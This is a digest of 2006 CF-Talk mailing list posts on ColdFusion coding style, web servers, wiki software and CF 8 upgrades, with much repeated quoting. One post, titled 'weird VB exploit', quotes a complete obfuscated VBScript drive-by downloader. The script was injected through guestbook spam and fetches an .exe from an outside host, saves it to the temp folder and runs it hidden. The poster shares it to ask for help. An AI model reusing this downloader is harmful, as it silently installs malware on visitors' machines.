> 
> 
> 
> 
> 
>
> It makes it easier to read, in my opinion, and tools like Eclipse don't have 
> a fit thinking that you didn't close a tag.  Are there any solid arguments 
> against this?  (Other than "wah, I don't like change!")  I'm getting 
> frustrated by another developer at my company who insists on removing them 
> when editing a file I've worked on!  Argh.
>

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Re: Closing single CF tags like XML/XHTML

[Jeff Guillaume]

Aha!  I knew I read it somewhere semi-official (although I admit these are just 
suggestions):

http://livedocs.macromedia.com/wtg/public/coding_standards/style.html

Macromedia's own coding standards guide:

[snip]
ColdFusion source code cannot quite be written to be purely XHTML-compliant 
because of certain tags (cfif / cfelse, cfreturn, cfset) but you should make an 
effort to be as XHTML-compliant as possible ... This makes the source code more 
consistent (across CFML and HTML) and will also help you avoid subtle errors 
such as unterminated nested cfmodule calls.
[/snip]

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RE: URL for CF7 Multi-Server configurations

[Dave Hatz]

Thanks for the link Russ.. 

-Original Message-
From: Russ [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 12:53 PM
To: CF-Talk
Subject: RE: URL for CF7 Multi-Server configurations

Apache has the docs online.  If you are going to go with apache 2.2, you
will need an updater to make it work with cf7... 

Here is the link to the docs: 

http://httpd.apache.org/docs/2.2/

Russ

> -Original Message-
> From: Dave Hatz [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 3:41 PM
> To: CF-Talk
> Subject: RE: URL for CF7 Multi-Server configurations
> 
> Eric,
> We are a MS shop only.  If I was to set up an Apache Win Box on a DEV 
> server, are there any good references you could point me to?
> 
> Dave
> 
> -Original Message-
> From: Eric Haskins [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 12:21 PM
> To: CF-Talk
> Subject: Re: URL for CF7 Multi-Server configurations
> 
> I with Russ on this one. I came to work here and it was a windows only 
> shop as of right now I have migrated alot over to RH4 with apache. I 
> also have Apache on windows and we are super impressed with its 
> functionality.
> 
> One of the big concerns on moving over to Linux was capitalization  
> Apache mod_speling took care of that :)
> 
> mod_rewrite is your friend especially for Hardware load balancing
> 
> 
> 



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Re: Closing single CF tags like XML/XHTML

[Jeff Guillaume]

Christian Cantrell posted a survey about this in 2003...

http://weblogs.macromedia.com/cantrell/archives/2003/05/closing_tags_wi.cfm

I especially liked Samuel Neff's comments, as they echo my own beliefs (since 
we're all supposed to be coding in XHTML - or will eventually - which requires 
closing all tags, why not do it in CF for consistency?):

[begin quote]

I think that we are all creatures of habit. If you have a standard operating 
Proceedure (SOP) for any development, you should stick with it. Usuing XHTML 
standards when you are creating html, but not using it when "CF'ing it", will 
only lead to confusion. It won't be long til you will have spent a week working 
on CF and then build a couple dozen pages in stright html and you'll forget to 
close your html tags.

I also think having a strict standard for tags helps reinforce HTML & CF 
development as a true structed programming exercise. Also, IMHO I think that if 
you are training more junion programmers, you should teach them a standard they 
can use throughout your apps., AND prepare them for XML-centrict issues later.

[end quote]

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RE: Closing single CF tags like XML/XHTML

[Dawson, Michael]

I can only recall that CFEXECUTE requires a closing tag.

Other than that, I never close CF tags.

-Original Message-
From: Andy Matthews [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 2:57 PM
To: CF-Talk
Subject: RE: Closing single CF tags like XML/XHTML

Coldfusion resembles HTML but it's not HTML. Closing your tags like that
should be just personal preference as I've never heard or read anything
that says they're required. They're obviously not (in 6.1) or none of my
code would run.



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RE: Closing single CF tags like XML/XHTML

[Andy Matthews]

Coldfusion resembles HTML but it's not HTML. Closing your tags like that
should be just personal preference as I've never heard or read anything that
says they're required. They're obviously not (in 6.1) or none of my code
would run.



-Original Message-
From: Jeff Guillaume [mailto:[EMAIL PROTECTED]
Sent: Friday, October 27, 2006 2:43 PM
To: CF-Talk
Subject: Closing single CF tags like XML/XHTML


Can anybody direct me to an official statement of sorts recommending that CF
developers start closing single tags like  with an ending slash a
la XML (like I just did?

I've been doing it for a long while now, and I can't remember when support
was first added (MX 6?) but I seem to remember thinking it was recommended
and would later be required...  Am I on crack?

In any case, what do you prefer?  I absolutely use trailing slashes on every
CF tag that doesn't have its own closing, such as:







It makes it easier to read, in my opinion, and tools like Eclipse don't have
a fit thinking that you didn't close a tag.  Are there any solid arguments
against this?  (Other than "wah, I don't like change!")  I'm getting
frustrated by another developer at my company who insists on removing them
when editing a file I've worked on!  Argh.



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RE: URL for CF7 Multi-Server configurations

[Russ]

Apache has the docs online.  If you are going to go with apache 2.2, you
will need an updater to make it work with cf7... 

Here is the link to the docs: 

http://httpd.apache.org/docs/2.2/

Russ

> -Original Message-
> From: Dave Hatz [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 3:41 PM
> To: CF-Talk
> Subject: RE: URL for CF7 Multi-Server configurations
> 
> Eric,
> We are a MS shop only.  If I was to set up an Apache Win Box on a DEV
> server, are there any good references you could point me to?
> 
> Dave
> 
> -Original Message-
> From: Eric Haskins [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 12:21 PM
> To: CF-Talk
> Subject: Re: URL for CF7 Multi-Server configurations
> 
> I with Russ on this one. I came to work here and it was a windows only
> shop
> as of right now I have migrated alot over to RH4 with apache. I also have
> Apache on windows and we are super impressed with its functionality.
> 
> One of the big concerns on moving over to Linux was capitalization  Apache
> mod_speling took care of that :)
> 
> mod_rewrite is your friend especially for Hardware load balancing
> 
> 
> 

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RE: Hey, Adobe! About my CF 7 upgrade!

[Rick Faircloth]

Thanks for the info, Ben...

-Original Message-
From: Ben Forta [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 2:40 PM
To: CF-Talk
Subject: RE: Hey, Adobe! About my CF 7 upgrade!

Rick, if it makes the  decision simpler, keep in mind that CFMX7 apps should
run under Scorpio (when it ships) with zero changes. In fact, the alpha thus
far has broken nothing in CFMX7, we've only added new stuff.

--- Ben






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Closing single CF tags like XML/XHTML

[Jeff Guillaume]

Can anybody direct me to an official statement of sorts recommending that CF 
developers start closing single tags like  with an ending slash a la 
XML (like I just did?

I've been doing it for a long while now, and I can't remember when support was 
first added (MX 6?) but I seem to remember thinking it was recommended and 
would later be required...  Am I on crack?

In any case, what do you prefer?  I absolutely use trailing slashes on every CF 
tag that doesn't have its own closing, such as:







It makes it easier to read, in my opinion, and tools like Eclipse don't have a 
fit thinking that you didn't close a tag.  Are there any solid arguments 
against this?  (Other than "wah, I don't like change!")  I'm getting 
frustrated by another developer at my company who insists on removing them when 
editing a file I've worked on!  Argh.

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RE: URL for CF7 Multi-Server configurations

[Dave Hatz]

Eric,
We are a MS shop only.  If I was to set up an Apache Win Box on a DEV
server, are there any good references you could point me to?

Dave 

-Original Message-
From: Eric Haskins [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 12:21 PM
To: CF-Talk
Subject: Re: URL for CF7 Multi-Server configurations

I with Russ on this one. I came to work here and it was a windows only shop
as of right now I have migrated alot over to RH4 with apache. I also have
Apache on windows and we are super impressed with its functionality.

One of the big concerns on moving over to Linux was capitalization  Apache
mod_speling took care of that :)

mod_rewrite is your friend especially for Hardware load balancing


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Re: URL for CF7 Multi-Server configurations

[Rob Wilkerson]

On 10/27/06, Eric Haskins <[EMAIL PROTECTED]> wrote:
> I with Russ on this one. I came to work here and it was a windows only shop
> as of right now I have migrated alot over to RH4 with apache. I also have
> Apache on windows and we are super impressed with its functionality.
>
> One of the big concerns on moving over to Linux was capitalization  Apache
> mod_speling took care of that :)
>
> mod_rewrite is your friend especially for Hardware load balancing

Like I said in an earlier post...extensible.  It's absolutely
incredible how much functionality is provided for Apache.  And at no
cost.  You just can't beat that.

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Re: PDF Label maker

[Denny Valliant]

cf_averyRTF, IIRC... available at the adobe exchange, I think?

Dont' know if it's the same person or not, but it's swell (if you
ain't running CF4.5 ;])

On 10/27/06, Dave Hatz <[EMAIL PROTECTED]> wrote:
> I came across a custom tag last year called LabelMaker.  Pretty slick little
> tag.  Send the tag a query result set and it produces an Avery label PDF
> page.  The guy that created the custom tag was Steven Klepzig.  The old
> email address we have for him is no longer valid.
>
> I don't remember where we downloaded this from.  Has anyone else used this
> Custom Tag from Steven?  Or do you know how we can get a hold of Steven?
>
> Thanks,
> Dave Hatz
>
>
> 

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Re: URL for CF7 Multi-Server configurations

[Eric Haskins]

I with Russ on this one. I came to work here and it was a windows only shop
as of right now I have migrated alot over to RH4 with apache. I also have
Apache on windows and we are super impressed with its functionality.

One of the big concerns on moving over to Linux was capitalization  Apache
mod_speling took care of that :)

mod_rewrite is your friend especially for Hardware load balancing

Eric Haskins
Rooms To Go


On 10/27/06, Russ <[EMAIL PROTECTED]> wrote:
>
> +1.  The things I can do because of mod_rewrite and mod_proxy alone are
> worth using apache.  IIS should technically be faster because it runs as a
> kernel process, I believe, but these days it doesn't matter.  As was said
> many times, both apache and IIS can saturate the network connection using
> any recent pc.  The performance is really going to depend on the backend
> tool you use, and if you don't use .NET, there is no point running IIS.
> Apache is FAR more configurable, and has a lot more FREE modules that let
> you do amazing things.
>
> For example: Let say you want to have your development server available
> externally, over port 80.  Your isp blocks port 80.  How would you solve
> this with IIS?  With apache you can just set up a virtual site on your
> production server and have it proxy the content from your dev server over
> a
> different port.
>
> Russ
>
> > -Original Message-
> > From: Rob Wilkerson [mailto:[EMAIL PROTECTED]
> > Sent: Friday, October 27, 2006 10:54 AM
> > To: CF-Talk
> > Subject: Re: URL for CF7 Multi-Server configurations
> >
> > I prefer Apache for a lot of reasons, but I've never done any
> > benchmarking and can't say with any certainty whether it's faster.  I
> > mostly know that it's FAR more extensible and configurable and that
> > makes my life much easier.
> >
> > On 10/27/06, Dave Hatz <[EMAIL PROTECTED]> wrote:
> > > Apache on a Win Box is faster than IIS6?  Is that really true?
> > >
> > > -Original Message-
> > > From: Robertson-Ravo, Neil (RX)
> > > [mailto:[EMAIL PROTECTED]
> > > Sent: Friday, October 27, 2006 1:19 AM
> > > To: CF-Talk
> > > Subject: Re: URL for CF7 Multi-Server configurations
> > >
> > > I also find Apache is faster and more reliable. We use IIS at our
> > company
> > > but that is due to our links with Microsoft, I would happily move to
> > Apache
> > > if I could!
> > >
> > > I run both locally for testing etc.
> > >
> > >
> > >
> >
> >
>
> 

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Problems with CFContent download of .tif image

[Dawn Sekel]

I am using the following code to retrieve a tif image from our internal imaging 
server so that I can allow Internet users to retrieve blueprint drawings that 
are behind our corporate firewall.

http://myurlname.asp?imagename";
   >



This code works great except for one problem.  When the Windows dialog box 
opens and says "Do you want to open or save this file?" in XP professional 
clicking the save button works every time.  But if the Open button is clicked 
we can see the file downloading to the temporary folder -- but as soon as it 
finishes the file disappears. And when Microsoft Office Document Imaging (the 
default viewer) launches it give an error opening document message because the 
file no longer exists.  This only seems to happen on XP Professional--computers 
with XP Home Edition or non-XP operating systems can open the file on the fly 
by clicking the open button.

Does anyone have a clue why XP is doing this?  It is also putting a (1) after 
the file name and the other operating systems don't do that.  Is there anyway 
to stop it from deleting the file so the user can open it? Thanks in advance 
for any advice. 

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Re: code beautifier for ColdFusion

[Jim Wright]

Jason Manaigre wrote:
> Hi guys, I could never get tidy to work properly with CF files, does
> anyone have a config file to share?
> 
> I use tidy all the time, its fantastic. 
> 

I was curious to see if HS had a config file...and the file are kept in...
C:\Program Files\Macromedia\HomeSite+\Extensions\CodeSweepers
but the one for tidy is just for HTML...there are also config files for 
the CF codesweeper, but they are .vtm files, and don't seem to 
correspond to standard tidy commands, so perhaps HS is using something 
other than tidy for the CF sweeping.  I would search the tidy mailing 
list archives and see if someone has a good one...
http://lists.w3.org/Archives/Public/html-tidy/




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weird VB exploit

[Brad Wood]

Hey guys, I just got some spam posts on my guestbook which include an
iframe.  Inside the iframe a page is called which, after calling about
80 unescape JavaScript functions tries to execute the following VB code.
I realized it when my antivirus started going nuts telling me about
executable files it was trying run.

 

Do I need a patch for IE?  (IE 6.0 on Windows 2000 SP4) I didn't think a
web page could execute arbitrary files from a web server.

 



 On Error Resume Next

 Function h2s(s)

 Dim i

 For i = 1 To Len(s) Step 2

  h2s = h2s & Chr("&" & "H" & Mid(s, i, 2))

 Next

 End Function

 Const sClassID =
"636C7369643A42443936433535362D363541332D313144302D393833412D30304330344
6433239453336"

 Const sItem_1 = "41646F64622E53747265616D"

 Const sItem_2 = "536372697074696E672E46696C6553797374656D4F626A656374"

 Const sItem_3 = "4D6963726F736F66742E584D4C48545450"

 Const sItem_4 = "5368656C6C2E4170706C69636174696F6E"

 sFileURL = "http://money24online.com/file.exe";

 sFileName = "thw_expl.exe"

 Set DF = Document.createElement("object")

 Call DF.SetAttribute("classid", h2s(sClassID))

 Set AdoSream = DF.CreateObject(h2s(sItem_1), vbNullString)

 Set FS = DF.CreateObject(h2s(sItem_2), vbNullString)

 Set xml_http = DF.CreateObject(h2s(sItem_3), vbNullString)

 Call xml_http.Open("GET", sFileURL, False)

 Call xml_http.Send

 AdoSream.Type = 1

 Set tmp_path = FS.GetSpecialFolder(2)

 sFilePath = FS.BuildPath(tmp_path, sFileName)

 Call AdoSream.Open

 Call AdoSream.Write(xml_http.responseBody)

 Call AdoSream.SaveToFile(sFilePath, 2)

 Call AdoSream.Close

 Set Q = df.CreateObject(h2s(sItem_4), vbNullString)

 Call Q.ShellExecute(sFilePath, vbNullString, vbNullString, "open", 0)

 

 

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Re: CF Wiki

[Barney Boisvert]

You can install PHP on windows machines.  You don't need *nix to do it.

On 10/27/06, Jason Manaigre <[EMAIL PROTECTED]> wrote:
> Thanks, that's what I was hoping for, I'd rather not build a *nix box
> for a PHP based wiki when we could just install CF on the MS box.
>
> Thanks for the link.
>
>
> Jason E.J. Manaigre

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RE: CF Wiki

[Andy Matthews]

Ray Camden has a CF Wiki called Canvas:
http://ray.camdenfamily.com/projects/canvas/



-Original Message-
From: Russ [mailto:[EMAIL PROTECTED]
Sent: Friday, October 27, 2006 1:42 PM
To: CF-Talk
Subject: RE: CF Wiki


Also depends on what you need the wiki for.  You can install trac, which has
SVN integration, bugtacking/ticketing system and wiki all in one.  It's no
written in CF (python), but I've been able to do small changes to the code
with no problems and it's fairly customizable without doing any code
changes.

Russ
> -Original Message-
> From: Rob Wilkerson [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 2:36 PM
> To: CF-Talk
> Subject: Re: CF Wiki
>
> On 10/27/06, Jason Manaigre <[EMAIL PROTECTED]> wrote:
> > Hi everyone, I'm not being lazy, searching for wiki brings up tones of
> > actual wikis, what I want to know is there a good wiki software package
> > for CF freeware or commercial?
> >
> > At work here, we're all MS so far, but the boss wants to explore open
> > source. I'd rather explore CF.
>
> There's no reason you can't do both.  There are a lot of CF open
> source projects - including at least one wiki
> (http://canvas.riaforge.org/).
>
>



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RE: CF Wiki

[Jason Manaigre]

Hi Russ, this idea is in its infancy, but basically looking for a simple
wiki to support an internship program.

Biggest concern is it needs to be highly customizable in its look and
feel.

 


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-Original Message-
From: Russ [mailto:[EMAIL PROTECTED] 
Sent: October 27, 2006 1:42 PM
To: CF-Talk
Subject: RE: CF Wiki

Also depends on what you need the wiki for.  You can install trac, which
has
SVN integration, bugtacking/ticketing system and wiki all in one.  It's
no
written in CF (python), but I've been able to do small changes to the
code
with no problems and it's fairly customizable without doing any code
changes.  

Russ
> -Original Message-
> From: Rob Wilkerson [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 2:36 PM
> To: CF-Talk
> Subject: Re: CF Wiki
> 
> On 10/27/06, Jason Manaigre <[EMAIL PROTECTED]> wrote:
> > Hi everyone, I'm not being lazy, searching for wiki brings up tones
of
> > actual wikis, what I want to know is there a good wiki software
package
> > for CF freeware or commercial?
> >
> > At work here, we're all MS so far, but the boss wants to explore
open
> > source. I'd rather explore CF.
> 
> There's no reason you can't do both.  There are a lot of CF open
> source projects - including at least one wiki
> (http://canvas.riaforge.org/).
> 
> 



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PDF Label maker

[Dave Hatz]

I came across a custom tag last year called LabelMaker.  Pretty slick little
tag.  Send the tag a query result set and it produces an Avery label PDF
page.  The guy that created the custom tag was Steven Klepzig.  The old
email address we have for him is no longer valid.

I don't remember where we downloaded this from.  Has anyone else used this
Custom Tag from Steven?  Or do you know how we can get a hold of Steven?  

Thanks,
Dave Hatz


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RE: CF Wiki

[Russ]

Also depends on what you need the wiki for.  You can install trac, which has
SVN integration, bugtacking/ticketing system and wiki all in one.  It's no
written in CF (python), but I've been able to do small changes to the code
with no problems and it's fairly customizable without doing any code
changes.  

Russ
> -Original Message-
> From: Rob Wilkerson [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 2:36 PM
> To: CF-Talk
> Subject: Re: CF Wiki
> 
> On 10/27/06, Jason Manaigre <[EMAIL PROTECTED]> wrote:
> > Hi everyone, I'm not being lazy, searching for wiki brings up tones of
> > actual wikis, what I want to know is there a good wiki software package
> > for CF freeware or commercial?
> >
> > At work here, we're all MS so far, but the boss wants to explore open
> > source. I'd rather explore CF.
> 
> There's no reason you can't do both.  There are a lot of CF open
> source projects - including at least one wiki
> (http://canvas.riaforge.org/).
> 
> 

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RE: Hey, Adobe! About my CF 7 upgrade!

[Ben Forta]

Rick, if it makes the  decision simpler, keep in mind that CFMX7 apps should
run under Scorpio (when it ships) with zero changes. In fact, the alpha thus
far has broken nothing in CFMX7, we've only added new stuff.

--- Ben
 

-Original Message-
From: Rick Faircloth [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 2:35 PM
To: CF-Talk
Subject: RE: Hey, Adobe! About my CF 7 upgrade!

Since I'm snowed under with development already on the board for 4.5, I
think my best bet is to wait for CF 8 and save some cash.

I don't have time to spend getting up to speed on developing in CF 7
anyway...

Rick

-Original Message-
From: Ben Forta [mailto:[EMAIL PROTECTED]
Sent: Friday, October 27, 2006 2:11 PM
To: CF-Talk
Subject: RE: Hey, Adobe! About my CF 7 upgrade!

Can't do free. We usually have some sort of amnesty period when a new
version comes out, but I don't know if we will this time, as we have yet to
announce it it'll obviously not apply yet.

I think your best bet is to buy subscription.

--- Ben









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RE: CF Wiki

[Jason Manaigre]

Thanks, that's what I was hoping for, I'd rather not build a *nix box
for a PHP based wiki when we could just install CF on the MS box.

Thanks for the link. 


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International Institute for Sustainable Development 
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Main Web site: http://www.iisd.org
Email: mailto:[EMAIL PROTECTED] | Phone: 1.204.958.7744 

-Original Message-
From: Rob Wilkerson [mailto:[EMAIL PROTECTED] 
Sent: October 27, 2006 1:36 PM
To: CF-Talk
Subject: Re: CF Wiki

On 10/27/06, Jason Manaigre <[EMAIL PROTECTED]> wrote:
> Hi everyone, I'm not being lazy, searching for wiki brings up tones of
> actual wikis, what I want to know is there a good wiki software
package
> for CF freeware or commercial?
>
> At work here, we're all MS so far, but the boss wants to explore open
> source. I'd rather explore CF.

There's no reason you can't do both.  There are a lot of CF open
source projects - including at least one wiki
(http://canvas.riaforge.org/).



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RE: CF Wiki

[Ben Forta]

http://canvas.riaforge.org/

 

-Original Message-
From: Jason Manaigre [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 2:31 PM
To: CF-Talk
Subject: CF Wiki

Hi everyone, I'm not being lazy, searching for wiki brings up tones of
actual wikis, what I want to know is there a good wiki software package for
CF freeware or commercial?

At work here, we're all MS so far, but the boss wants to explore open
source. I'd rather explore CF.

Any info appreciate, thanks.

Jay



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Re: CF Wiki

[Rob Wilkerson]

On 10/27/06, Jason Manaigre <[EMAIL PROTECTED]> wrote:
> Hi everyone, I'm not being lazy, searching for wiki brings up tones of
> actual wikis, what I want to know is there a good wiki software package
> for CF freeware or commercial?
>
> At work here, we're all MS so far, but the boss wants to explore open
> source. I'd rather explore CF.

There's no reason you can't do both.  There are a lot of CF open
source projects - including at least one wiki
(http://canvas.riaforge.org/).

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RE: Hey, Adobe! About my CF 7 upgrade!

[Rick Faircloth]

Since I'm snowed under with development already on the board
for 4.5, I think my best bet is to wait for CF 8 and save some cash.

I don't have time to spend getting up to speed on developing
in CF 7 anyway...

Rick

-Original Message-
From: Ben Forta [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 2:11 PM
To: CF-Talk
Subject: RE: Hey, Adobe! About my CF 7 upgrade!

Can't do free. We usually have some sort of amnesty period when a new
version comes out, but I don't know if we will this time, as we have yet to
announce it it'll obviously not apply yet.

I think your best bet is to buy subscription.

--- Ben







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CF Wiki

[Jason Manaigre]

Hi everyone, I'm not being lazy, searching for wiki brings up tones of
actual wikis, what I want to know is there a good wiki software package
for CF freeware or commercial?

At work here, we're all MS so far, but the boss wants to explore open
source. I'd rather explore CF.

Any info appreciate, thanks.

Jay

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RE: code beautifier for ColdFusion

[Jason Manaigre]

Hi guys, I could never get tidy to work properly with CF files, does
anyone have a config file to share?

I use tidy all the time, its fantastic. 


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-Original Message-
From: Doug Brown [mailto:[EMAIL PROTECTED] 
Sent: October 23, 2006 6:35 AM
To: CF-Talk
Subject: Re: code beautifier for ColdFusion

Download the trial version of Homesite+ and fix all the ugly code. It is
by 
far the best and free for 30 days...

https://www.adobe.com/cfusion/tdrc/index.cfm?product=homesite


Doug 




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RE: LDAP Weidness

[Dawson, Michael]

Can you ping/resolve this address from your web server's command
line/prompt? 

-Original Message-
From: Charles E. Heizer [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 12:17 PM
To: CF-Talk
Subject: LDAP Weidness

Hello,
I'm doing a ldap query and I'm running into a weird issue. If I use the
FQDN "ldap.llnl.gov" it does not work ("Connection to LDAP Server
failed"). But, if I use the IP it works fine. Now, I know cfldap can
work with using a FQDN since I'm connecting to another directory using
the name not the IP.

Has anyone seen this and if so how did you fix it?

Thanks,
- charles

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RE: Hey, Adobe! About my CF 7 upgrade!

[Brad Wood]

Hmm, I've hear Ben called a lot of things before-- but "Scorpio Man" is
definitely a new milestone

:)

~Brad

-Original Message-
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Sent: Friday, October 27, 2006 2:07 PM
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Hey, Scorpio Man!  


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RE: Hey, Adobe! About my CF 7 upgrade!

[Ben Forta]

Can't do free. We usually have some sort of amnesty period when a new
version comes out, but I don't know if we will this time, as we have yet to
announce it it'll obviously not apply yet.

I think your best bet is to buy subscription.

--- Ben


-Original Message-
From: Rick Faircloth [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 2:07 PM
To: CF-Talk
Subject: RE: Hey, Adobe! About my CF 7 upgrade!

Hey, Scorpio Man!  Come to my rescue and use some of your weight, uh, I mean
pull, to get me a free upgrade to CF 8 if I buy CF 7 now!  Help!  :o)

Rick

-Original Message-
From: Cutter (CFRelated) [mailto:[EMAIL PROTECTED]
Sent: Friday, October 27, 2006 2:00 PM
To: CF-Talk
Subject: Re: Hey, Adobe! About my CF 7 upgrade!

Scorpio Man to the rescue! (Wish I could have seen that in person;)

Cutter

http://blog.cutterscrossing.com

Ben Forta wrote:
>>>don't I remember hearing that CF 8 would be out this fall
> 
> 
> Nope, not from anyone on the team. We've not given dates, other than 
> "mid-2007" (nice and vague, the way we like it ).
> 
> --- Ben
> 








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RE: Hey, Adobe! About my CF 7 upgrade!

[Ben Forta]

No idea what you're talking about ;-)
 

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From: Cutter (CFRelated) [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 2:00 PM
To: CF-Talk
Subject: Re: Hey, Adobe! About my CF 7 upgrade!

Scorpio Man to the rescue! (Wish I could have seen that in person;)

Cutter

http://blog.cutterscrossing.com

Ben Forta wrote:
>>>don't I remember hearing that CF 8 would be out this fall
> 
> 
> Nope, not from anyone on the team. We've not given dates, other than 
> "mid-2007" (nice and vague, the way we like it ).
> 
> --- Ben
> 



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Re: Constructing multi-user/multi-site applications...

[mac jordan]

On 10/27/06, Rick Faircloth <[EMAIL PROTECTED]> wrote:
>
> Local database for the site-specific data and
> master database for the data shared between sites?
>
>
yes - including page structures, individual site configs, etc.  It does mean
we have to do the hosting too, but mostly our clients are looking for a one
stop shop, and are happy with that.


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RE: Hey, Adobe! About my CF 7 upgrade!

[Rick Faircloth]

Hey, Scorpio Man!  Come to my rescue and use some of your
weight, uh, I mean pull, to get me a free upgrade to CF 8 if I buy
CF 7 now!  Help!  :o)

Rick

-Original Message-
From: Cutter (CFRelated) [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 2:00 PM
To: CF-Talk
Subject: Re: Hey, Adobe! About my CF 7 upgrade!

Scorpio Man to the rescue! (Wish I could have seen that in person;)

Cutter

http://blog.cutterscrossing.com

Ben Forta wrote:
>>>don't I remember hearing that CF 8 would be out this fall 
> 
> 
> Nope, not from anyone on the team. We've not given dates, other than
> "mid-2007" (nice and vague, the way we like it ).
> 
> --- Ben
> 






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Re: Hey, Adobe! About my CF 7 upgrade!

[Cutter (CFRelated)]

Scorpio Man to the rescue! (Wish I could have seen that in person;)

Cutter

http://blog.cutterscrossing.com

Ben Forta wrote:
>>>don't I remember hearing that CF 8 would be out this fall 
> 
> 
> Nope, not from anyone on the team. We've not given dates, other than
> "mid-2007" (nice and vague, the way we like it ).
> 
> --- Ben
> 

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RE: Hey, Adobe! About my CF 7 upgrade!

[Rick Faircloth]

Come on, Ian!  Thank harder!  :o)

Rick

-Original Message-
From: Ian Skinner [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 12:29 PM
To: CF-Talk
Subject: RE: Hey, Adobe! About my CF 7 upgrade!

But seeing as how CF8 is only in Alpha, if you buy 7 right now you'll need
to buy an upgrade to 8 some time next year.

Well, you could buy the 2 year subscription that will include any upgrades
that come along in those 2 years.  The subscription costs considerably more
then one copy of CF, but noticeable less then the price of two.







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RE: Constructing multi-user/multi-site applications...

[Rick Faircloth]

Local database for the site-specific data and
master database for the data shared between sites?

-Original Message-
From: mac jordan [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 11:22 AM
To: CF-Talk
Subject: Re: Constructing multi-user/multi-site applications...

we've spent a lot (understatement) of time and effort rolling our own CMS,
which allows the client to add their own menu items, pages, galleries,
mailing lists, etc.  It runs from a core set of files, but each site has its
own database and CSS, for a start.  And we can add additional functionality
to each site by means of a master database etc.  This means we can set up a
site within a couple of days, depending on the design, and the basic site
structure is all scripted, so a simple batch file on the server does pretty
much all of it.

it's paid for itself over and over, in terms of quick response, and fast
support, and I'm really glad we did it.  It doesn't fit all clients, but it
makes a good jumping off point for most of them.






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Re: Hey, Adobe! About my CF 7 upgrade!

[Andy Allan]

Which if I remember correctly, you stated is anytime between 2nd Jan
and 30th Dec :)

On 27/10/06, Ben Forta <[EMAIL PROTECTED]> wrote:
> >> don't I remember hearing that CF 8 would be out this fall
>
> Nope, not from anyone on the team. We've not given dates, other than
> "mid-2007" (nice and vague, the way we like it ).
>
> --- Ben
>
>
>
> -Original Message-
> From: Munson, Jacob [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 1:37 PM
> To: CF-Talk
> Subject: RE: Hey, Adobe! About my CF 7 upgrade!
>
> On that note, don't I remember hearing that CF 8 would be out this fall (I
> think I heard this last year).  What's taking so long!  ;)
>
> > -Original Message-
> > From: Andy Allan [mailto:[EMAIL PROTECTED]
> > Sent: Friday, October 27, 2006 8:44 AM
> >
> > You do get a grace period should you buy version x and then version y
> > comes out a short time afterwards.
> >
> > But seeing as how CF8 is only in Alpha, if you buy 7 right now you'll
> > need to buy an upgrade to 8 some time next year.
> >
> > Andy
> >
> > On 27/10/06, Rick Faircloth <[EMAIL PROTECTED]> wrote:
> > > Hey, Adobe!  (Or anyone else with some thoughts)
> > >
> > > If I upgrade to CF 7 now, can I get a free upgrade to CF 8?
> > >
> > > If not now, when?
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RE: Constructing multi-user/multi-site applications...

[Rick Faircloth]

Sounds very interesting...I'll have to consider this further!

Thanks, Casey

Rick

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Yeah Rick, that about does it.

Everything for the most part is tied into their client id.  When they edit
their content they don't actually see it as it would live on the page but
that is of course another route you could follow where you select the
template you are going to use for a piece of content from with a particular
page. Paperthin goes this route same as Microsoft CMS, where you actually
click edit page and it brings you into an editor mode looking at the page
but now with text boxes surrounding the editable content.

We still need to initially setup where the includes fit in their site and
maybe make a change to their Navigation and site-maps to include a new file
but these items take minutes to complete and it might take 1 to 3 years
before the client actually requests a change to the nav. structure meaning a
new page so it's all good on that front. I say we are saving static html
files but of course  our websites are either saved as .asp or .cfml so we
can use includes.

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RE: Hey, Adobe! About my CF 7 upgrade!

[Ben Forta]

>> don't I remember hearing that CF 8 would be out this fall 

Nope, not from anyone on the team. We've not given dates, other than
"mid-2007" (nice and vague, the way we like it ).

--- Ben



-Original Message-
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Subject: RE: Hey, Adobe! About my CF 7 upgrade!

On that note, don't I remember hearing that CF 8 would be out this fall (I
think I heard this last year).  What's taking so long!  ;) 

> -Original Message-
> From: Andy Allan [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 8:44 AM
> 
> You do get a grace period should you buy version x and then version y 
> comes out a short time afterwards.
> 
> But seeing as how CF8 is only in Alpha, if you buy 7 right now you'll 
> need to buy an upgrade to 8 some time next year.
> 
> Andy
> 
> On 27/10/06, Rick Faircloth <[EMAIL PROTECTED]> wrote:
> > Hey, Adobe!  (Or anyone else with some thoughts)
> >
> > If I upgrade to CF 7 now, can I get a free upgrade to CF 8?
> >
> > If not now, when?

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RE: Hey, Adobe! About my CF 7 upgrade!

[Munson, Jacob]

OOPS!  I meant to say that I /remember/ hearing, not don't remember.  :\


> -Original Message-
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> Sent: Friday, October 27, 2006 11:37 AM
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> Subject: RE: Hey, Adobe! About my CF 7 upgrade!
> 
> On that note, don't I remember hearing that CF 8 would be out 
> this fall
> (I think I heard this last year).  What's taking so long!  ;) 
> 
> > -Original Message-
> > From: Andy Allan [mailto:[EMAIL PROTECTED] 
> > Sent: Friday, October 27, 2006 8:44 AM
> > 
> > You do get a grace period should you buy version x and then 
> version y
> > comes out a short time afterwards.
> > 
> > But seeing as how CF8 is only in Alpha, if you buy 7 right 
> now you'll
> > need to buy an upgrade to 8 some time next year.
> > 
